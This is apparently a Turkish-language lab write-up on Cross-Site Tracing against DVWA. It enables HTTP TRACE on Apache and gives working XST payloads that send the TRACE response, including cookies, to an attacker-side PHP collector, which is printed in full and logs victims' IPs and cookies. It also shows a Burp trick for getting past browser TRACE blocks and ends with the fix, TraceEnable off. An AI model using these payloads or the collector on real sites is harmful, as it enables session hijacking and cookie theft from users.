(ENG)

Metasploit Tip: Enable HTTP request and response logging with set HttpTrace true

(TUR)

Measploit İpucu: HttpTrace’i true yapma ile http talep ve yanıt log’lama aktifleşir.

Referans: Metasploit Framework msfconsole arayüzünde gelen rastgele ipuçları

telnet hostname 80

Çıktı:

TRACE / HTTP/1.1
Host: hostname                                              // Host: hostname header'ı gönderiliyor.
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)  // User-Agent: xxx header'ı gönderiliyor.

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Connection: close
Content-Type: message/http
Content-Length: 39
	
TRACE / HTTP/1.1
Host: hostname                                                // Host: hostname header'ı alınıyor.
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)    // User-Agent: xxx header'ı alınıyor.

<script type="text/javascript">
<!--
function sendTrace() {
   var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
   xmlHttp.open("TRACE", “http://foo.bar”,false);
   xmlHttp.send();
   xmlDoc=xmlHttp.responseText;
   alert(xmlDoc);					
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

Ubuntu 18.04 LTS Terminal:

telnet 127.0.0.1 80

Çıktı:

Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
TRACE / HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Tue, 17 Oct 2017 07:47:31 GMT
Server: Apache/2.4.7 (Ubuntu)
Allow: 
Content-Length: 297
Connection: close
Content-Type: text/html; charset=iso-8859-1	




Method Not Allowed
The requested method TRACE is not allowed for the URL /.
Apache/2.4.7 (Ubuntu) Server at 127.0.1.1 Port 80

Connection closed by foreign host.	

Ubuntu 18.04 LTS Terminal:

sudo gedit /etc/apache2/apache2.conf

TraceEnable on

Ubuntu 18.04 LTS Terminal:

service apache2 restart

Ubuntu 18.04 LTS Terminal:

telnet 127.0.0.1 80

Çıktı:

Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
TRACE / HTTP/1.0
Test: A                             // Test: A header'ı gönderiliyor
Deneme: B                           // Deneme: b header'ı gönderiliyor.

HTTP/1.1 200 OK
Date: Tue, 17 Oct 2017 07:51:43 GMT
Server: Apache/2.4.7 (Ubuntu)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0					
Test: A                             // Test: A header'ı alınıyor
Deneme: B                           // Deneme: b header'ı alınıyor.

/var/www/Cross-Site-Tracing-Uygulamasi/		// Saldırganın Web Sunucusu
DVWA - Ubuntu 18.04 LTS		// DVWA Web Sunucusu
Cross Site Tracing - Windows XP SP 1 VM		// Son Kullanıcı Makinesi (IE6)

Not:

Cross Site Tracing - Windows XP SP1 VM hazır olarak Virtualbox VMs’lerde mevcuttur. ISO dosyası ise ~/Downloads/ dizini altında Cross Site Tracing - Windows XP SP 1 ISO Dosyası.zip şeklinde yer almakta. Cross Site Tracing - Windows XP SP1 makinede lisans aktivasyonu süresi doldu hatası yaşanırsa lisans aktivasyonu süresi varkenki ilk halinin snapshot’ı var. Snapshot’a dönebilirsin.

Bilgi:

Son kullanıcının kullanacağı web tarayıcı Internet Explorer 6 SP1 olmalıdır. Örneğin Windows XP (Dandik) makinesi sağ tık bilgisayar özelliklerinden bakıldığında SP2’dir ve bu dökümandaki saldırı o makinedeki Internet Explorer 6’da yapılamamaktadır. Bu saldırının proof of concept örnek dökümanında ayrıca IE6 SP1 kullanılmaktadır. Bkz. https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

Ubuntu 18.04 LTS:

sudo gedit /etc/apache2/apache2.conf

....

(En Alta Aşağıdaki Eklenir)

TraceEnable on

Ardından apache2 servisi restart'lanır:

service apache2 restart

XST Payload’u:

<script>
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");    // Microsoft AJAX nesnesi
                                                         // oluşturulur.

xmlHttp.open("TRACE","http://172.16.4.225",false);       // AJAX ile açıklıklı DVWA 
xmlHttp.send();                                          // uygulaması web sunucu-
                                                         // suna trace talebi yapılır.

xmlDoc=xmlHttp.responseText;                             // DVWA uygulaması web
                                                         // sunucusundan trace 
                                                         // yanıtı alınır.

xmlHttp.open("POST","http://172.16.4.225/Cross-Site-Tracing-Uygulamasi/cerezTopla.php",false);
xmlHttp.send(xmlDoc);                                    // Saldırganın web sunucu-
                                                         // suna DVWA uygulaması
                                                         // web sunucusundan gelen
                                                         // trace yanıtı AJAX ile 
                                                         // POST talebinde gönde-
                                                         // rilir.

alert(xmlDoc);                                           // (Optional)
                                                         // DVWA uygulaması web 
                                                         // sunucusundan gelen
                                                         // trace yanıtı  ekrana 
                                                         // popup şeklinde olayı
                                                         // görsel gözlemlemek 
                                                         // adına basılabilir.
</script>

<script>var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE","http://172.16.4.225",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;xmlHttp.open("POST","http://172.16.4.225/Cross-Site-Tracing-Uygulamasi/cerezTopla.php",false);xmlHttp.send(xmlDoc);alert(xmlDoc);</script>

/var/www/Cross-Site-Tracing-Uygulamasi/cerezTopla.php:    // Saldırgan Web Sunucu

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $traceYaniti = file_get_contents('php://input');	    // $_POST olarak gelen veri (son kullanıcıdan gelen
                                                            // talep paketinin gövdesi) komple string olarak çekilir.
    $dateTime = date('d.m.y \t H:i:s');   
    
    $file = fopen("cerezler.txt", "a+");                    // Trace yanıtları alt alta cerezler.txt dosyasına kaydedilir.

    fwrite($file, "#########################################################\r\n");
    fwrite($file, "Kurbanin IP Adresi                     : " . $ip . "\r\n"); 
    fwrite($file, "Kurbanin TRACE Yaniti                  : \r\n\r\n" . $traceYaniti . "\r\n"); 
    fwrite($file, "Kurbanin Cerezinin Calinma Zamani      : " . $dateTime . "\r\n");
    fwrite($file, "#########################################################\r\n\r\n\r\n");

    fclose($file);
?>

(*) Not: Modern web tarayıcılarda XHR (XmlHttpRequest) üzerinden TRACE talebi yapmak izinli olmadığından XHR ile TRACE talebi yaşandığında şu şekilde bir uyarı modern web tarayıcı konsol ekranlarına gelir ve talep engellenir. Modern Web Tarayıcılar’da XST Payload’u Çalıştırılırken Gelen Uyarı:


<script>var xmlHttp = new XMLHttpRequest(); xmlHttp.open("TRACE","http://localhost",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; xmlHttp.open("POST","http://localhost/Cross-Site-Tracing-Uygulamasi/cerezTopla.php",false); xmlHttp.send(xmlDoc); alert(xmlDoc);</script>

Chrome:





Firefox:





Modern web tarayıcılar XST saldırıları ile son kullanıcıların çerez v.b. bilgilerinin çalınmasını önlemek için XmlHttpRequest ile TRACE talebi yapılmasını yasaklarlar (artık desteklemezler).

Örneğin TRACE yerine GET talebi yapılırsa bu sefer zararsız olan payload sorunsuz çalışacaktır.

<script>var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET","http://localhost",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; xmlHttp.open("POST","http://localhost/Cross-Site-Tracing-Uygulamasi/cerezTopla.php",false); xmlHttp.send(xmlDoc); alert(xmlDoc);</script>

Chrome:





Firefox:





Görüldüğü üzere web tarayıcı bu sefer hata sunmamıştır ve zararsız payload çalışmıştır. GET talebine dönen yanıt ekrana popup şeklinde yansımıştır. Ancak XST saldırısının geçtiği yol ajax ile trace talebi yapabilmekten geçer.

DVWA - Ubuntu 18.04 LTS		// Zafiyetli DVWA Web Uygulaması
Firefox (Son Sürüm) - Ubuntu 18.04 LTS		// Son Kullanıcı Web Tarayıcısı
/var/www/Cross-Site-Tracing-Uygulamasi/		// Saldırganın Web Sunucusu

- XST açıklıklı (bu senaryoda Reflected XSS açıklıklı) bir web sayfasına gidilir. XST payload’u girilir. Fakat XST payload’undaki TRACE talebi ifadesi TRACE olmayacaktır. Çünkü modern tarayıcılar TRACE ile XmlHttpRequest yapılmasını önlüyorlar. Bu nedenle payload’da TRACE yerine GET kullanılır.

- İstek gönderildiğinde yanıt gelir ve ilk XmlHttpRequest’i GET talepli ve ikinci XmlHttpRequest’i POST talepli payload olduğu gibi geri yansır. Web tarayıcıda GET xmlhttprequest javascript talebi render’landığında bir GET talebi gönderilir. GET talebi burp ile aradayken düzenlenir ve GET ifadesi elle TRACE yapılır. Böylece web tarayıcının istemci taraflı TRACE kısıtı atlatılmış olur. Yani web tarayıcıdan TRACE talebi yapamıyoruz, fakat arada paketi düzenleyip TRACE yaparak saldırıyı simule edebiliriz. Daha sonra payload’daki ikinci XmlHttpRequest olan POST talebi yollanacaktır. Bu talep olduğu gibi forward’lanır.

- Nihayetinde web sayfa tam olarak render’landığında ve XmlHttpRequest istekleri bittiğinde POST talebi ile çerez saldırgan sunucuda log’lanır ve ekrana TRACE popup’ı gelir.

http://hasanfsimsek/DVWA-master/vulnerabilities/xss_d/

Proxy->Options->Intercept Server Response

Intercept is On

<script>var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET","http://hasanfsimsek",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; xmlHttp.open("POST","http://hasanfsimsek/Cross-Site-Tracing-Uygulamasi/cerezTopla.php",false); xmlHttp.send(xmlDoc); alert(xmlDoc);</script>

(!) Uyarı: Web tarayıcılarda TRACE ile XmlHttpRequest yasaklı olduğundan GET ile istek yapılır.

Önce:





Sonra:

sudo gedit /etc/apache2/apache2.conf

TraceEnable off

service apache2 restart